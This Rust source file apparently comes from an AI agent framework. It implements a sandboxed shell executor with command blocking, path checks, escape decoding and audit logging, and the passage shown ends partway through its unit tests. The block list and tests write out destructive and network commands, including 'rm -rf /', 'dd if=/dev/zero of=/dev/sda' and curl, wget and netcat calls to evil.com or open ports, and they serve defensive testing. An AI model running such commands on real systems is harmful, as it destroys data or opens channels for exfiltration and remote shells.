1use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16 FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22 "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23 "reboot", "halt",
24];
25
26const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
27
28#[derive(Deserialize, JsonSchema)]
29pub(crate) struct BashParams {
30 command: String,
32}
33
34#[derive(Debug)]
36pub struct ShellExecutor {
37 timeout: Duration,
38 blocked_commands: Vec<String>,
39 allowed_paths: Vec<PathBuf>,
40 confirm_patterns: Vec<String>,
41 audit_logger: Option<AuditLogger>,
42 tool_event_tx: Option<ToolEventTx>,
43 permission_policy: Option<PermissionPolicy>,
44 output_filter_registry: Option<OutputFilterRegistry>,
45 cancel_token: Option<CancellationToken>,
46 skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
47}
48
49impl ShellExecutor {
50 #[must_use]
51 pub fn new(config: &ShellConfig) -> Self {
52 let allowed: Vec<String> = config
53 .allowed_commands
54 .iter()
55 .map(|s| s.to_lowercase())
56 .collect();
57
58 let mut blocked: Vec<String> = DEFAULT_BLOCKED
59 .iter()
60 .filter(|s| !allowed.contains(&s.to_lowercase()))
61 .map(|s| (*s).to_owned())
62 .collect();
63 blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
64
65 if !config.allow_network {
66 for cmd in NETWORK_COMMANDS {
67 let lower = cmd.to_lowercase();
68 if !blocked.contains(&lower) {
69 blocked.push(lower);
70 }
71 }
72 }
73
74 blocked.sort();
75 blocked.dedup();
76
77 let allowed_paths = if config.allowed_paths.is_empty() {
78 vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
79 } else {
80 config.allowed_paths.iter().map(PathBuf::from).collect()
81 };
82
83 Self {
84 timeout: Duration::from_secs(config.timeout),
85 blocked_commands: blocked,
86 allowed_paths,
87 confirm_patterns: config.confirm_patterns.clone(),
88 audit_logger: None,
89 tool_event_tx: None,
90 permission_policy: None,
91 output_filter_registry: None,
92 cancel_token: None,
93 skill_env: std::sync::RwLock::new(None),
94 }
95 }
96
97 pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
99 match self.skill_env.write() {
100 Ok(mut guard) => *guard = env,
101 Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
102 }
103 }
104
105 #[must_use]
106 pub fn with_audit(mut self, logger: AuditLogger) -> Self {
107 self.audit_logger = Some(logger);
108 self
109 }
110
111 #[must_use]
112 pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
113 self.tool_event_tx = Some(tx);
114 self
115 }
116
117 #[must_use]
118 pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
119 self.permission_policy = Some(policy);
120 self
121 }
122
123 #[must_use]
124 pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
125 self.cancel_token = Some(token);
126 self
127 }
128
129 #[must_use]
130 pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
131 self.output_filter_registry = Some(registry);
132 self
133 }
134
135 pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
141 self.execute_inner(response, true).await
142 }
143
144 #[allow(clippy::too_many_lines)]
145 async fn execute_inner(
146 &self,
147 response: &str,
148 skip_confirm: bool,
149 ) -> Result<Option<ToolOutput>, ToolError> {
150 let blocks = extract_bash_blocks(response);
151 if blocks.is_empty() {
152 return Ok(None);
153 }
154
155 let mut outputs = Vec::with_capacity(blocks.len());
156 let mut cumulative_filter_stats: Option<FilterStats> = None;
157 #[allow(clippy::cast_possible_truncation)]
158 let blocks_executed = blocks.len() as u32;
159
160 for block in &blocks {
161 if let Some(ref policy) = self.permission_policy {
162 match policy.check("bash", block) {
163 PermissionAction::Deny => {
164 self.log_audit(
165 block,
166 AuditResult::Blocked {
167 reason: "denied by permission policy".to_owned(),
168 },
169 0,
170 )
171 .await;
172 return Err(ToolError::Blocked {
173 command: (*block).to_owned(),
174 });
175 }
176 PermissionAction::Ask if !skip_confirm => {
177 return Err(ToolError::ConfirmationRequired {
178 command: (*block).to_owned(),
179 });
180 }
181 _ => {}
182 }
183 } else {
184 if let Some(blocked) = self.find_blocked_command(block) {
185 self.log_audit(
186 block,
187 AuditResult::Blocked {
188 reason: format!("blocked command: {blocked}"),
189 },
190 0,
191 )
192 .await;
193 return Err(ToolError::Blocked {
194 command: blocked.to_owned(),
195 });
196 }
197
198 if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
199 return Err(ToolError::ConfirmationRequired {
200 command: pattern.to_owned(),
201 });
202 }
203 }
204
205 self.validate_sandbox(block)?;
206
207 if let Some(ref tx) = self.tool_event_tx {
208 let _ = tx.send(ToolEvent::Started {
209 tool_name: "bash".to_owned(),
210 command: (*block).to_owned(),
211 });
212 }
213
214 let start = Instant::now();
215 let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
216 self.skill_env.read().ok().and_then(|g| g.clone());
217 let (out, exit_code) = execute_bash(
218 block,
219 self.timeout,
220 self.tool_event_tx.as_ref(),
221 self.cancel_token.as_ref(),
222 skill_env_snapshot.as_ref(),
223 )
224 .await;
225 if exit_code == 130
226 && self
227 .cancel_token
228 .as_ref()
229 .is_some_and(CancellationToken::is_cancelled)
230 {
231 return Err(ToolError::Cancelled);
232 }
233 #[allow(clippy::cast_possible_truncation)]
234 let duration_ms = start.elapsed().as_millis() as u64;
235
236 let result = if out.contains("[error]") {
237 AuditResult::Error {
238 message: out.clone(),
239 }
240 } else if out.contains("timed out") {
241 AuditResult::Timeout
242 } else {
243 AuditResult::Success
244 };
245 self.log_audit(block, result, duration_ms).await;
246
247 let sanitized = sanitize_output(&out);
248 let mut per_block_stats: Option<FilterStats> = None;
249 let filtered = if let Some(ref registry) = self.output_filter_registry {
250 match registry.apply(block, &sanitized, exit_code) {
251 Some(fr) => {
252 tracing::debug!(
253 command = block,
254 raw = fr.raw_chars,
255 filtered = fr.filtered_chars,
256 savings_pct = fr.savings_pct(),
257 "output filter applied"
258 );
259 let block_fs = FilterStats {
260 raw_chars: fr.raw_chars,
261 filtered_chars: fr.filtered_chars,
262 raw_lines: fr.raw_lines,
263 filtered_lines: fr.filtered_lines,
264 confidence: Some(fr.confidence),
265 command: Some((*block).to_owned()),
266 kept_lines: fr.kept_lines.clone(),
267 };
268 let stats =
269 cumulative_filter_stats.get_or_insert_with(FilterStats::default);
270 stats.raw_chars += fr.raw_chars;
271 stats.filtered_chars += fr.filtered_chars;
272 stats.raw_lines += fr.raw_lines;
273 stats.filtered_lines += fr.filtered_lines;
274 stats.confidence = Some(match (stats.confidence, fr.confidence) {
275 (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
276 (None, cur) => cur,
277 });
278 if stats.command.is_none() {
279 stats.command = Some((*block).to_owned());
280 }
281 if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
282 stats.kept_lines.clone_from(&fr.kept_lines);
283 }
284 per_block_stats = Some(block_fs);
285 fr.output
286 }
287 None => sanitized,
288 }
289 } else {
290 sanitized
291 };
292
293 if let Some(ref tx) = self.tool_event_tx {
294 let _ = tx.send(ToolEvent::Completed {
295 tool_name: "bash".to_owned(),
296 command: (*block).to_owned(),
297 output: out.clone(),
298 success: !out.contains("[error]"),
299 filter_stats: per_block_stats,
300 diff: None,
301 });
302 }
303 outputs.push(format!("$ {block}\n{filtered}"));
304 }
305
306 Ok(Some(ToolOutput {
307 tool_name: "bash".to_owned(),
308 summary: outputs.join("\n\n"),
309 blocks_executed,
310 filter_stats: cumulative_filter_stats,
311 diff: None,
312 streamed: self.tool_event_tx.is_some(),
313 }))
314 }
315
316 fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
317 let cwd = std::env::current_dir().unwrap_or_default();
318
319 for token in extract_paths(code) {
320 if has_traversal(&token) {
321 return Err(ToolError::SandboxViolation { path: token });
322 }
323
324 let path = if token.starts_with('/') {
325 PathBuf::from(&token)
326 } else {
327 cwd.join(&token)
328 };
329 let canonical = path
330 .canonicalize()
331 .or_else(|_| std::path::absolute(&path))
332 .unwrap_or(path);
333 if !self
334 .allowed_paths
335 .iter()
336 .any(|allowed| canonical.starts_with(allowed))
337 {
338 return Err(ToolError::SandboxViolation {
339 path: canonical.display().to_string(),
340 });
341 }
342 }
343 Ok(())
344 }
345
346 fn find_blocked_command(&self, code: &str) -> Option<&str> {
347 let cleaned = strip_shell_escapes(&code.to_lowercase());
348 let commands = tokenize_commands(&cleaned);
349 for blocked in &self.blocked_commands {
350 for cmd_tokens in &commands {
351 if tokens_match_pattern(cmd_tokens, blocked) {
352 return Some(blocked.as_str());
353 }
354 }
355 }
356 None
357 }
358
359 fn find_confirm_command(&self, code: &str) -> Option<&str> {
360 let normalized = code.to_lowercase();
361 for pattern in &self.confirm_patterns {
362 if normalized.contains(pattern.as_str()) {
363 return Some(pattern.as_str());
364 }
365 }
366 None
367 }
368
369 async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
370 if let Some(ref logger) = self.audit_logger {
371 let entry = AuditEntry {
372 timestamp: chrono_now(),
373 tool: "shell".into(),
374 command: command.into(),
375 result,
376 duration_ms,
377 };
378 logger.log(&entry).await;
379 }
380 }
381}
382
383impl ToolExecutor for ShellExecutor {
384 async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
385 self.execute_inner(response, false).await
386 }
387
388 fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
389 use crate::registry::{InvocationHint, ToolDef};
390 vec![ToolDef {
391 id: "bash",
392 description: "Execute a shell command",
393 schema: schemars::schema_for!(BashParams),
394 invocation: InvocationHint::FencedBlock("bash"),
395 }]
396 }
397
398 async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
399 if call.tool_id != "bash" {
400 return Ok(None);
401 }
402 let params: BashParams = crate::executor::deserialize_params(&call.params)?;
403 if params.command.is_empty() {
404 return Ok(None);
405 }
406 let command = ¶ms.command;
407 let synthetic = format!("```bash\n{command}\n```");
409 self.execute_inner(&synthetic, false).await
410 }
411
412 fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
413 ShellExecutor::set_skill_env(self, env);
414 }
415}
416
417fn strip_shell_escapes(input: &str) -> String {
421 let mut out = String::with_capacity(input.len());
422 let bytes = input.as_bytes();
423 let mut i = 0;
424 while i < bytes.len() {
425 if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
427 let mut j = i + 2; let mut decoded = String::new();
429 let mut valid = false;
430 while j < bytes.len() && bytes[j] != b'\'' {
431 if bytes[j] == b'\\' && j + 1 < bytes.len() {
432 let next = bytes[j + 1];
433 if next == b'x' && j + 3 < bytes.len() {
434 let hi = (bytes[j + 2] as char).to_digit(16);
436 let lo = (bytes[j + 3] as char).to_digit(16);
437 if let (Some(h), Some(l)) = (hi, lo) {
438 #[allow(clippy::cast_possible_truncation)]
439 let byte = ((h << 4) | l) as u8;
440 decoded.push(byte as char);
441 j += 4;
442 valid = true;
443 continue;
444 }
445 } else if next.is_ascii_digit() {
446 let mut val = u32::from(next - b'0');
448 let mut len = 2; if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
450 val = val * 8 + u32::from(bytes[j + 2] - b'0');
451 len = 3;
452 if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
453 val = val * 8 + u32::from(bytes[j + 3] - b'0');
454 len = 4;
455 }
456 }
457 #[allow(clippy::cast_possible_truncation)]
458 decoded.push((val & 0xFF) as u8 as char);
459 j += len;
460 valid = true;
461 continue;
462 }
463 decoded.push(next as char);
465 j += 2;
466 } else {
467 decoded.push(bytes[j] as char);
468 j += 1;
469 }
470 }
471 if j < bytes.len() && bytes[j] == b'\'' && valid {
472 out.push_str(&decoded);
473 i = j + 1;
474 continue;
475 }
476 }
478 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
480 i += 2;
481 continue;
482 }
483 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
485 i += 1;
486 out.push(bytes[i] as char);
487 i += 1;
488 continue;
489 }
490 if bytes[i] == b'"' || bytes[i] == b'\'' {
492 let quote = bytes[i];
493 i += 1;
494 while i < bytes.len() && bytes[i] != quote {
495 out.push(bytes[i] as char);
496 i += 1;
497 }
498 if i < bytes.len() {
499 i += 1; }
501 continue;
502 }
503 out.push(bytes[i] as char);
504 i += 1;
505 }
506 out
507}
508
509fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
512 let replaced = normalized.replace("||", "\n").replace("&&", "\n");
514 replaced
515 .split([';', '|', '\n'])
516 .map(|seg| {
517 seg.split_whitespace()
518 .map(str::to_owned)
519 .collect::<Vec<String>>()
520 })
521 .filter(|tokens| !tokens.is_empty())
522 .collect()
523}
524
525const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
528
529fn cmd_basename(tok: &str) -> &str {
531 tok.rsplit('/').next().unwrap_or(tok)
532}
533
534fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
541 if tokens.is_empty() || pattern.is_empty() {
542 return false;
543 }
544 let pattern = pattern.trim();
545 let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
546 if pattern_tokens.is_empty() {
547 return false;
548 }
549
550 let start = tokens
552 .iter()
553 .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
554 .unwrap_or(0);
555 let effective = &tokens[start..];
556 if effective.is_empty() {
557 return false;
558 }
559
560 if pattern_tokens.len() == 1 {
561 let pat = pattern_tokens[0];
562 let base = cmd_basename(&effective[0]);
563 base == pat || base.starts_with(&format!("{pat}."))
565 } else {
566 let n = pattern_tokens.len().min(effective.len());
568 let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
569 parts.extend(effective[1..n].iter().map(String::as_str));
570 let joined = parts.join(" ");
571 if joined.starts_with(pattern) {
572 return true;
573 }
574 if effective.len() > n {
575 let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
576 parts2.extend(effective[1..=n].iter().map(String::as_str));
577 parts2.join(" ").starts_with(pattern)
578 } else {
579 false
580 }
581 }
582}
583
584fn extract_paths(code: &str) -> Vec<String> {
585 let mut result = Vec::new();
586
587 let mut tokens: Vec<String> = Vec::new();
589 let mut current = String::new();
590 let mut chars = code.chars().peekable();
591 while let Some(c) = chars.next() {
592 match c {
593 '"' | '\'' => {
594 let quote = c;
595 while let Some(&nc) = chars.peek() {
596 if nc == quote {
597 chars.next();
598 break;
599 }
600 current.push(chars.next().unwrap());
601 }
602 }
603 c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
604 if !current.is_empty() {
605 tokens.push(std::mem::take(&mut current));
606 }
607 }
608 _ => current.push(c),
609 }
610 }
611 if !current.is_empty() {
612 tokens.push(current);
613 }
614
615 for token in tokens {
616 let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
617 if trimmed.is_empty() {
618 continue;
619 }
620 if trimmed.starts_with('/')
621 || trimmed.starts_with("./")
622 || trimmed.starts_with("../")
623 || trimmed == ".."
624 {
625 result.push(trimmed);
626 }
627 }
628 result
629}
630
631fn has_traversal(path: &str) -> bool {
632 path.split('/').any(|seg| seg == "..")
633}
634
635fn extract_bash_blocks(text: &str) -> Vec<&str> {
636 crate::executor::extract_fenced_blocks(text, "bash")
637}
638
639fn chrono_now() -> String {
640 use std::time::{SystemTime, UNIX_EPOCH};
641 let secs = SystemTime::now()
642 .duration_since(UNIX_EPOCH)
643 .unwrap_or_default()
644 .as_secs();
645 format!("{secs}")
646}
647
648async fn kill_process_tree(child: &mut tokio::process::Child) {
652 #[cfg(unix)]
653 if let Some(pid) = child.id() {
654 let _ = Command::new("pkill")
655 .args(["-KILL", "-P", &pid.to_string()])
656 .status()
657 .await;
658 }
659 let _ = child.kill().await;
660}
661
662async fn execute_bash(
663 code: &str,
664 timeout: Duration,
665 event_tx: Option<&ToolEventTx>,
666 cancel_token: Option<&CancellationToken>,
667 extra_env: Option<&std::collections::HashMap<String, String>>,
668) -> (String, i32) {
669 use std::process::Stdio;
670 use tokio::io::{AsyncBufReadExt, BufReader};
671
672 let timeout_secs = timeout.as_secs();
673
674 let mut cmd = Command::new("bash");
675 cmd.arg("-c")
676 .arg(code)
677 .stdout(Stdio::piped())
678 .stderr(Stdio::piped());
679 if let Some(env) = extra_env {
680 cmd.envs(env);
681 }
682 let child_result = cmd.spawn();
683
684 let mut child = match child_result {
685 Ok(c) => c,
686 Err(e) => return (format!("[error] {e}"), 1),
687 };
688
689 let stdout = child.stdout.take().expect("stdout piped");
690 let stderr = child.stderr.take().expect("stderr piped");
691
692 let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
693
694 let stdout_tx = line_tx.clone();
695 tokio::spawn(async move {
696 let mut reader = BufReader::new(stdout);
697 let mut buf = String::new();
698 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
699 let _ = stdout_tx.send(buf.clone()).await;
700 buf.clear();
701 }
702 });
703
704 tokio::spawn(async move {
705 let mut reader = BufReader::new(stderr);
706 let mut buf = String::new();
707 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
708 let _ = line_tx.send(format!("[stderr] {buf}")).await;
709 buf.clear();
710 }
711 });
712
713 let mut combined = String::new();
714 let deadline = tokio::time::Instant::now() + timeout;
715
716 loop {
717 tokio::select! {
718 line = line_rx.recv() => {
719 match line {
720 Some(chunk) => {
721 if let Some(tx) = event_tx {
722 let _ = tx.send(ToolEvent::OutputChunk {
723 tool_name: "bash".to_owned(),
724 command: code.to_owned(),
725 chunk: chunk.clone(),
726 });
727 }
728 combined.push_str(&chunk);
729 }
730 None => break,
731 }
732 }
733 () = tokio::time::sleep_until(deadline) => {
734 kill_process_tree(&mut child).await;
735 return (format!("[error] command timed out after {timeout_secs}s"), 1);
736 }
737 () = async {
738 match cancel_token {
739 Some(t) => t.cancelled().await,
740 None => std::future::pending().await,
741 }
742 } => {
743 kill_process_tree(&mut child).await;
744 return ("[cancelled] operation aborted".to_string(), 130);
745 }
746 }
747 }
748
749 let status = child.wait().await;
750 let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
751
752 if combined.is_empty() {
753 ("(no output)".to_string(), exit_code)
754 } else {
755 (combined, exit_code)
756 }
757}
758
759#[cfg(test)]
760mod tests {
761 use super::*;
762
763 fn default_config() -> ShellConfig {
764 ShellConfig {
765 timeout: 30,
766 blocked_commands: Vec::new(),
767 allowed_commands: Vec::new(),
768 allowed_paths: Vec::new(),
769 allow_network: true,
770 confirm_patterns: Vec::new(),
771 }
772 }
773
774 fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
775 ShellConfig {
776 allowed_paths,
777 ..default_config()
778 }
779 }
780
781 #[test]
782 fn extract_single_bash_block() {
783 let text = "Here is code:\n```bash\necho hello\n```\nDone.";
784 let blocks = extract_bash_blocks(text);
785 assert_eq!(blocks, vec!["echo hello"]);
786 }
787
788 #[test]
789 fn extract_multiple_bash_blocks() {
790 let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
791 let blocks = extract_bash_blocks(text);
792 assert_eq!(blocks, vec!["ls", "pwd"]);
793 }
794
795 #[test]
796 fn ignore_non_bash_blocks() {
797 let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
798 let blocks = extract_bash_blocks(text);
799 assert_eq!(blocks, vec!["echo hi"]);
800 }
801
802 #[test]
803 fn no_blocks_returns_none() {
804 let text = "Just plain text, no code blocks.";
805 let blocks = extract_bash_blocks(text);
806 assert!(blocks.is_empty());
807 }
808
809 #[test]
810 fn unclosed_block_ignored() {
811 let text = "```bash\necho hello";
812 let blocks = extract_bash_blocks(text);
813 assert!(blocks.is_empty());
814 }
815
816 #[tokio::test]
817 #[cfg(not(target_os = "windows"))]
818 async fn execute_simple_command() {
819 let (result, code) =
820 execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
821 assert!(result.contains("hello"));
822 assert_eq!(code, 0);
823 }
824
825 #[tokio::test]
826 #[cfg(not(target_os = "windows"))]
827 async fn execute_stderr_output() {
828 let (result, _) =
829 execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
830 assert!(result.contains("[stderr]"));
831 assert!(result.contains("err"));
832 }
833
834 #[tokio::test]
835 #[cfg(not(target_os = "windows"))]
836 async fn execute_stdout_and_stderr_combined() {
837 let (result, _) = execute_bash(
838 "echo out && echo err >&2",
839 Duration::from_secs(30),
840 None,
841 None,
842 None,
843 )
844 .await;
845 assert!(result.contains("out"));
846 assert!(result.contains("[stderr]"));
847 assert!(result.contains("err"));
848 assert!(result.contains('\n'));
849 }
850
851 #[tokio::test]
852 #[cfg(not(target_os = "windows"))]
853 async fn execute_empty_output() {
854 let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
855 assert_eq!(result, "(no output)");
856 assert_eq!(code, 0);
857 }
858
859 #[tokio::test]
860 async fn blocked_command_rejected() {
861 let config = ShellConfig {
862 blocked_commands: vec!["rm -rf /".to_owned()],
863 ..default_config()
864 };
865 let executor = ShellExecutor::new(&config);
866 let response = "Run:\n```bash\nrm -rf /\n```";
867 let result = executor.execute(response).await;
868 assert!(matches!(result, Err(ToolError::Blocked { .. })));
869 }
870
871 #[tokio::test]
872 #[cfg(not(target_os = "windows"))]
873 async fn timeout_enforced() {
874 let config = ShellConfig {
875 timeout: 1,
876 ..default_config()
877 };
878 let executor = ShellExecutor::new(&config);
879 let response = "Run:\n```bash\nsleep 60\n```";
880 let result = executor.execute(response).await;
881 assert!(result.is_ok());
882 let output = result.unwrap().unwrap();
883 assert!(output.summary.contains("timed out"));
884 }
885
886 #[tokio::test]
887 async fn execute_no_blocks_returns_none() {
888 let executor = ShellExecutor::new(&default_config());
889 let result = executor.execute("plain text, no blocks").await;
890 assert!(result.is_ok());
891 assert!(result.unwrap().is_none());
892 }
893
894 #[tokio::test]
895 async fn execute_multiple_blocks_counted() {
896 let executor = ShellExecutor::new(&default_config());
897 let response = "```bash\necho one\n```\n```bash\necho two\n```";
898 let result = executor.execute(response).await;
899 let output = result.unwrap().unwrap();
900 assert_eq!(output.blocks_executed, 2);
901 assert!(output.summary.contains("one"));
902 assert!(output.summary.contains("two"));
903 }
904
905 #[test]
908 fn default_blocked_always_active() {
909 let executor = ShellExecutor::new(&default_config());
910 assert!(executor.find_blocked_command("rm -rf /").is_some());
911 assert!(executor.find_blocked_command("sudo apt install").is_some());
912 assert!(
913 executor
914 .find_blocked_command("mkfs.ext4 /dev/sda")
915 .is_some()
916 );
917 assert!(
918 executor
919 .find_blocked_command("dd if=/dev/zero of=disk")
920 .is_some()
921 );
922 }
923
924 #[test]
925 fn user_blocked_additive() {
926 let config = ShellConfig {
927 blocked_commands: vec!["custom-danger".to_owned()],
928 ..default_config()
929 };
930 let executor = ShellExecutor::new(&config);
931 assert!(executor.find_blocked_command("sudo rm").is_some());
932 assert!(
933 executor
934 .find_blocked_command("custom-danger script")
935 .is_some()
936 );
937 }
938
939 #[test]
940 fn blocked_prefix_match() {
941 let executor = ShellExecutor::new(&default_config());
942 assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
943 }
944
945 #[test]
946 fn blocked_infix_match() {
947 let executor = ShellExecutor::new(&default_config());
948 assert!(
949 executor
950 .find_blocked_command("echo hello && sudo rm")
951 .is_some()
952 );
953 }
954
955 #[test]
956 fn blocked_case_insensitive() {
957 let executor = ShellExecutor::new(&default_config());
958 assert!(executor.find_blocked_command("SUDO apt install").is_some());
959 assert!(executor.find_blocked_command("Sudo apt install").is_some());
960 assert!(executor.find_blocked_command("SuDo apt install").is_some());
961 assert!(
962 executor
963 .find_blocked_command("MKFS.ext4 /dev/sda")
964 .is_some()
965 );
966 assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
967 assert!(executor.find_blocked_command("RM -RF /").is_some());
968 }
969
970 #[test]
971 fn safe_command_passes() {
972 let executor = ShellExecutor::new(&default_config());
973 assert!(executor.find_blocked_command("echo hello").is_none());
974 assert!(executor.find_blocked_command("ls -la").is_none());
975 assert!(executor.find_blocked_command("cat file.txt").is_none());
976 assert!(executor.find_blocked_command("cargo build").is_none());
977 }
978
979 #[test]
980 fn partial_match_accepted_tradeoff() {
981 let executor = ShellExecutor::new(&default_config());
982 assert!(executor.find_blocked_command("sudoku").is_none());
984 }
985
986 #[test]
987 fn multiline_command_blocked() {
988 let executor = ShellExecutor::new(&default_config());
989 assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
990 }
991
992 #[test]
993 fn dd_pattern_blocks_dd_if() {
994 let executor = ShellExecutor::new(&default_config());
995 assert!(
996 executor
997 .find_blocked_command("dd if=/dev/zero of=/dev/sda")
998 .is_some()
999 );
1000 }
1001
1002 #[test]
1003 fn mkfs_pattern_blocks_variants() {
1004 let executor = ShellExecutor::new(&default_config());
1005 assert!(
1006 executor
1007 .find_blocked_command("mkfs.ext4 /dev/sda")
1008 .is_some()
1009 );
1010 assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1011 }
1012
1013 #[test]
1014 fn empty_command_not_blocked() {
1015 let executor = ShellExecutor::new(&default_config());
1016 assert!(executor.find_blocked_command("").is_none());
1017 }
1018
1019 #[test]
1020 fn duplicate_patterns_deduped() {
1021 let config = ShellConfig {
1022 blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1023 ..default_config()
1024 };
1025 let executor = ShellExecutor::new(&config);
1026 let count = executor
1027 .blocked_commands
1028 .iter()
1029 .filter(|c| c.as_str() == "sudo")
1030 .count();
1031 assert_eq!(count, 1);
1032 }
1033
1034 #[tokio::test]
1035 async fn execute_default_blocked_returns_error() {
1036 let executor = ShellExecutor::new(&default_config());
1037 let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1038 let result = executor.execute(response).await;
1039 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1040 }
1041
1042 #[tokio::test]
1043 async fn execute_case_insensitive_blocked() {
1044 let executor = ShellExecutor::new(&default_config());
1045 let response = "Run:\n```bash\nSUDO apt install foo\n```";
1046 let result = executor.execute(response).await;
1047 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1048 }
1049
1050 #[test]
1053 fn network_exfiltration_blocked() {
1054 let executor = ShellExecutor::new(&default_config());
1055 assert!(
1056 executor
1057 .find_blocked_command("curl https://evil.com")
1058 .is_some()
1059 );
1060 assert!(
1061 executor
1062 .find_blocked_command("wget http://evil.com/payload")
1063 .is_some()
1064 );
1065 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1066 assert!(
1067 executor
1068 .find_blocked_command("ncat --listen 8080")
1069 .is_some()
1070 );
1071 assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1072 }
1073
1074 #[test]
1075 fn system_control_blocked() {
1076 let executor = ShellExecutor::new(&default_config());
1077 assert!(executor.find_blocked_command("shutdown -h now").is_some());
1078 assert!(executor.find_blocked_command("reboot").is_some());
1079 assert!(executor.find_blocked_command("halt").is_some());
1080 }
1081
1082 #[test]
1083 fn nc_trailing_space_avoids_ncp() {
1084 let executor = ShellExecutor::new(&default_config());
1085 assert!(executor.find_blocked_command("ncp file.txt").is_none());
1086 }
1087
1088 #[test]
1091 fn mixed_case_user_patterns_deduped() {
1092 let config = ShellConfig {
1093 blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1094 ..default_config()
1095 };
1096 let executor = ShellExecutor::new(&config);
1097 let count = executor
1098 .blocked_commands
1099 .iter()
1100 .filter(|c| c.as_str() == "sudo")
1101 .count();
1102 assert_eq!(count, 1);
1103 }
1104
1105 #[test]
1106 fn user_pattern_stored_lowercase() {
1107 let config = ShellConfig {
1108 blocked_commands: vec!["MyCustom".to_owned()],
1109 ..default_config()
1110 };
1111 let executor = ShellExecutor::new(&config);
1112 assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1113 assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1114 }
1115
1116 #[test]
1119 fn allowed_commands_removes_from_default() {
1120 let config = ShellConfig {
1121 allowed_commands: vec!["curl".to_owned()],
1122 ..default_config()
1123 };
1124 let executor = ShellExecutor::new(&config);
1125 assert!(
1126 executor
1127 .find_blocked_command("curl https://example.com")
1128 .is_none()
1129 );
1130 assert!(executor.find_blocked_command("sudo rm").is_some());
1131 }
1132
1133 #[test]
1134 fn allowed_commands_case_insensitive() {
1135 let config = ShellConfig {
1136 allowed_commands: vec!["CURL".to_owned()],
1137 ..default_config()
1138 };
1139 let executor = ShellExecutor::new(&config);
1140 assert!(
1141 executor
1142 .find_blocked_command("curl https://example.com")
1143 .is_none()
1144 );
1145 }
1146
1147 #[test]
1148 fn allowed_does_not_override_explicit_block() {
1149 let config = ShellConfig {
1150 blocked_commands: vec!["curl".to_owned()],
1151 allowed_commands: vec!["curl".to_owned()],
1152 ..default_config()
1153 };
1154 let executor = ShellExecutor::new(&config);
1155 assert!(
1156 executor
1157 .find_blocked_command("curl https://example.com")
1158 .is_some()
1159 );
1160 }
1161
1162 #[test]
1163 fn allowed_unknown_command_ignored() {
1164 let config = ShellConfig {
